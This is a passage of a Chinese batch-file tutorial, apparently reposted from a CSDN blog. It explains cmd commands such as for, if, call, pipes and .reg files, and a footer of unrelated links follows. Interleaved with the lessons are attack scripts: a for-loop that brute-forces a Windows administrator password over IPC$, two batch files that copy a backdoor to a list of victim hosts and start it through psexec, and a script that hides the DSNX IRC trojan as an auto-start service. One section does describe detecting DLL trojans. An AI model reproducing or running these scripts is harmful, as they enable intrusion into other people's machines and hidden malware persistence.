    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。


    4.Rem 命令
    注释命令,起一个注释的作用,便于别人阅读和你自己日后修改。
    Rem Message
    Sample:@Rem Here is the description.


    5.Pause 命令
    运行 Pause 命令时,将显示下面的消息:
    Press any key to continue . . .
    Sample:
    @echo off
    :begin
    copy a:*.* d: \back
    echo Please put a new disk into driver A
    pause
    goto begin
    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。


    6.Call 命令
    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
    语法
    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
    参数
    [Drive:}[Path] FileName
    指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。


    7.start 命令
    调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
    入侵常用参数:
    MIN 开始时窗口最小化
    SEPARATE 在分开的空间内开始 16 位 Windows 程序
    HIGH 在 HIGH 优先级类别开始应用程序
    REALTIME 在 REALTIME 优先级类别开始应用程序
    WAIT 启动应用程序并等候它结束
    parameters 这些为传送到命令/程序的参数
    执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

    8.choice 命令
    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为 1234......
    如 : choice /c:dme defrag,mem,end
    将显示
    defrag,mem,end[D,M,E]?
    Sample:
    Sample.bat的内容如下 :
    @echo off
    choice /c:dme defrag,mem,end
    if errorlevel 3 goto defrag (应先判断数值最高的错误码)
    if errorlevel 2 goto mem
    if errotlevel 1 goto end


    :defrag
    c:\dos\defrag
    goto end
    :mem
    mem
    goto end
    :end
    echo good bye


    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。


    9.If 命令


    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式 :
    a、if "参数" == "字符串"  待执行的命令
    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
    如 if "%1"=="a" format a:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms


    b 、if exist 文件名  待执行的命令
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。
    如if exist config.sys edit config.sys


    c 、if errorlevel / if not errorlevel 数字 待执行的命令
    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
    如if errorlevel 2 goto x2  
    DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。


    10.for 命令
    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable


    for {%variable│%%variable} in (set) do command [ CommandLineOptions]
    %variable 指定一个单一字母可替换的参数。
    (set) 指定一个或一组文件。可以使用通配符。
    command 指定对每个文件执行的命令。
    command-parameters 为特定命令指定参数或命令行开关。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
    而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I


    如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:


    FOR /D %variable IN (set) DO command [command-parameters]


    如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。


    FOR /R [[drive:]path] %variable IN (set) DO command [command-


    检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。


    FOR /L %variable IN (start,step,end) DO command [command-para


    该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。


    FOR /F ["options"] %variable IN (file-set) DO command
    FOR /F ["options"] %variable IN ("string") DO command
    FOR /F ["options"] %variable IN ('command') DO command


    或者,如果有 usebackq 选项:


    FOR /F ["options"] %variable IN (file-set) DO command
    FOR /F ["options"] %variable IN ("string") DO command
    FOR /F ["options"] %variable IN ('command') DO command


    filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:


    eol=c - 指一个行注释字符的结尾(就一个 )
    skip=n - 指在文件开始时忽略的行数。
    delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
    usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
    sample1:
    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command


    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。


    %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。


    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。


    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:


    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i


    会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:


    ~I - 删除任何引号("),扩充 %I
    %~fI - 将 %I 扩充到一个完全合格的路径名
    %~dI - 仅将 %I 扩充到一个驱动器号
    %~pI - 仅将 %I 扩充到一个路径
    %~nI - 仅将 %I 扩充到一个文件名
    %~xI - 仅将 %I 扩充到一个文件扩展名
    %~sI - 扩充的路径只含有短名
    %~aI - 将 %I 扩充到文件的文件属性
    %~tI - 将 %I 扩充到文件的日期/时间
    %~zI - 将 %I 扩充到文件的大小
    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串


    可以组合修饰符来得到多重结果:


    %~dpI - 仅将 %I 扩充到一个驱动器号和路径
    %~nxI - 仅将 %I 扩充到一个文件名和扩展名
    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR


    在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。


    以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。


    sample2 :


    利用For命令来实现对一台目标Win2k主机的暴力密码破解。
    我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
    最主要的命令是一条: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
    用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
    for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ok.txt ,这样就ko了。


    sample3 :


    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。


    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
    tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
    而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
    delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
    代码雏形:
    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
    @echo off
    @if "%1"=="" goto usage
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
    @goto end
    :usage
    @echo run this batch in dos modle.or just double-click it.
    :end
    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


    ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
    @net use \\%1\ipc$ %3 /u:"%2"
    @if errorlevel 1 goto failed
    @echo Trying to establish the IPC$ connection ............OK
    @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
    @p*** ec \\%1 c:\winnt\system32\windrv32.exe
    @p*** ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
    :failed
    @echo Sorry can not connected to the victim.
    ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
    尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.


    二.如何在批处理文件中使用参数
    批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
    sample1: fomat.bat
    @echo off
    if "%1"=="a" format a:
    :format
    @format a:/q/u/auotset
    @echo please insert another disk to driver A.
    @pause
    @goto fomat
    这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~
    sample2:
    当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
    @echo off
    @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
    @if errorlevel 1 echo connection failed
    怎么样,使用参数还是比较简单的吧?你这么帅一定学会了 .No.3
    三.如何使用组合命令(Compound Command)


    1.&


    Usage :第一条命令 & 第二条命令 [& 第三条命令...]


    用这种方法可以同时执行多条命令,而不管命令是否执行成功


    Sample :
    C:\>dir z: & dir c:\Ex4rch
    The system cannot find the path specified.
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB


    Directory of c:\Ex4rch


    2002-05-14 23:51 .
    2002-05-14 23:51 ..
    2002-05-14 23:51 14 sometips.gif


    2.&&


    Usage :第一条命令 && 第二条命令 [&& 第三条命令...]


    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;


    Sample :
    C:\>dir z: && dir c:\Ex4rch
    The system cannot find the path specified.


    C:\>dir c:\Ex4rch && dir z:
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB


    Directory of c:\Ex4rch


    2002-05-14 23:55 .
    2002-05-14 23:55 ..
    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    2 Dir(s) 768,671,744 bytes free
    The system cannot find the path specified.


    在做备份的时候可能会用到这种命令会比较简单,如:
    dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
    如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)


    3.││


    Usage :第一条命令 ││ 第二条命令 [││ 第三条命令...]


    用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;


    Sample :
    C:\Ex4rch>dir sometips.gif ││ del sometips.gif
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB


    Directory of C:\Ex4rch


    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    0 Dir(s) 768,696,320 bytes free


    组合命令使用的例子:
    sample:
    @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt


    四、管道命令的使用


    1.│ 命令
    Usage:第一条命令 │ 第二条命令 [│ 第三条命令 ...]
    将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。


    sample :
    time /t>>D:\IP.log
    netstat -n -p tcp│find ":3389">>D:\IP.log
    start Explorer
    看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。


    2.> 、>>输出重定向命令
    将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。


    sample1 :
    echo hello world>c:\hello.txt (stupid example?)


    sample2:
    时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
    运行CMD--转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
    这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中 ,
    日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了 .
    这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行 :
    CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。


    3.< 、>& 、 <&
    < 从文件中而不是从键盘中读入命令输入。
    >& 将一个句柄的输出写入到另一个句柄的输入中。
    <& 从一个句柄读取输入并将其写入到另一个句柄输出中。
    这些并不常用,也就不多做介绍。


    No.5
    五.如何用批处理文件来操作注册表


    在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件 )
    关于注册表的操作,常见的是创建、修改、删除。


    1. 创建
    创建分为两种,一种是创建子项(Subkey)


    我们创建一个文件,内容如下:


    Windows Registry Editor Version 5.00


    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]


    然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。


    另一种是创建一个项目名称
    那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:


    Windows Registry Editor Version 5.00


    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Invader"="Ex4rch"
    "Door"=C:\\WINNT\\system32\\door.exe
    "Autodos"=dword:02


    这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
    新建了:Invader、door、about这三个项目
    Invader的类型是 "String value"
    door的类型是 "REG SZ value"
    Autodos的类型是"DWORD value"


    2. 修改
    修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。


    3. 删除
    我们首先来说说删除一个项目名称,我们创建一个如下的文件:


    Windows Registry Editor Version 5.00


    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Ex4rch"=-


    执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;


    我们再看看删除一个子项,我们创建一个如下的脚本:


    Windows Registry Editor Version 5.00


    [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


    执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。


    相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。


    samlpe1: 如上面的那个例子,如想生成如下注册表文件
    Windows Registry Editor Version 5.00


    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Invader"="Ex4rch"
    "door"=hex:255
    "Autodos"=dword:000000128
    只需要这样:
    @echo Windows Registry Editor Version 5.00>>Sample.reg


    @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
    @echo "Invader"="Ex4rch">>Sample.reg
    @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
    @echo "Autodos"=dword:02>>Sample.reg


    samlpe2:
    我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe)
    @start windrv32.exe
    @attrib +h +r windrv32.exe
    @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
    @echo "windsnx "=- >>patch.dll
    @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
    @regedit /s patch.dll
    @delete patch.dll


    @REM [ 删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动 ]
    @REM 这样不是更安全.

    本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/annhf/archive/2007/10/24/1842362.aspx

  • 相关阅读:
    06. 如何去掉数组中的重复性数据
    01. 作用域和值类型引用类型的传递
    韩昊 20190919-5 代码规范,结对
    韩昊 20190919-6 四则运算试题生成,结对
    韩昊 20190919-2 功能测试
    韩昊20190912-1 每周例行报告
    将py文件打包为exe文件方法
    关于四个定义的理解
    韩昊 20190912-2 命令行
    韩昊 20190905-1 每周例行报告
  • 原文地址:https://www.cnblogs.com/lbangel/p/3026807.html
Copyright © 2011-2022 走看看